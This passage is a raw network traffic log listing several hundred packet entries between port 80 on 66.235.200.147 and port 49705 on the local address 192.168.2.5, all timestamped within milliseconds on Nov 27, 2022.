Nov 27, 2022 04:36:43.124758959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124763012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124783039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124789953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124804974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124808073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124824047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124834061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124855995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124861002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124886036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124908924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124910116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124933004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124943972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124958038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124970913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124984026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124986887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125006914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125009060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125035048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125046968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125058889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125061035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125080109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125086069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125109911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125112057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125133991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125144005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125166893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125190020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125194073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125212908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125217915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125238895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125248909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125264883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125267029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125288010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125289917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125314951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125317097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125332117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125341892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125364065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125365973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125386000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125390053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125402927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125416040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125438929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125444889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125463963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125473976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125489950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125494003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125511885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125515938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125538111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125541925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125555038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125566959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125591040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125595093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125614882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125622988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125638008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125638962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125653982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125664949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125682116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125689030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125714064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125718117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125739098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125744104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125763893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125766993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125787973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125797033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125813007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125816107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125838995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125855923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125863075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125886917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125886917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125910044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125919104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125933886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125943899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125958920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.125958920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125973940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.125986099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126008034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126009941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126034021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126044035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126059055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126061916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126084089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126087904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126110077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126125097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126132965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126142025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126157999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126163960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126180887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126182079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126199007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126207113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126226902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126231909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126245022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126256943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126281977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126287937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126306057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126313925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126329899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126331091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126354933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126354933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126372099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126379967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126403093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126425028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126425982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126451969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126473904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126494884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126497030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126496077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126521111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126521111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126522064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126545906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126549006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126564980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126569986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126584053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126595020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126617908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126635075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126640081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126652002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126665115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126668930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126684904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126688957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126712084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126715899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126733065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126735926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126749039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126760960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126779079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126785994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126808882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126816034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126832962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126857042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126859903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126895905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126900911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126920938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126944065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126945019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.126967907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126990080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.126993895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127013922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127013922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127038002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127043009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127062082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127084017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127093077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127109051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127116919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127131939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127146006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127156973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127167940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127180099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127202034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127202034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127228022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127229929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127249956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127262115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127274036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127278090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127291918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127302885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127320051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127326012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127350092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127357006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127373934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127378941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127398014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127399921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127413988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127423048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127445936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127445936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127464056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127473116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127496004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127501011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127517939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127526045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127542019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127542973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127561092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127567053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127590895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127592087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127610922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127618074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127634048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127641916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127657890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127665997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127687931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127690077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127707005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127713919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127733946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127738953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127753019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127765894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127782106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127789974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127804041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127816916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127832890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127842903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127860069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127868891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127883911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127892971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127911091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127918005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127940893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127943039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127957106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.127966881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.127990007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128012896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128035069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128036976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128036976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128036976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128057003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128057957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128074884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128083944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128102064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128109932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128127098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128134012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128156900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128156900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128173113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128180981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128204107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128226042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128226042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128242016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128249884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128273964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128278971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128297091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128308058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128321886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128321886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128334999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128345966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128366947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128369093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128381014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128393888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128418922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128422976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128443003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128448963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128463984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128468037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128479004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128492117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128514051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128536940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128536940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128561974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128566027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128586054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128586054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128602028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128611088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128631115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128634930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128650904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128654957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128674984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128679991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128693104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128705978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128720045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128730059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128752947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128776073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128781080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128798962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128809929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128823996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128840923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128849030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128854036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128874063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128876925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128892899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128900051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128910065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128927946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128952980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128958941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.128978014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.128981113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129000902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129013062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129025936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129028082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129049063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129050970 CET	80	49705	66.235.200.147	192.168.2.5
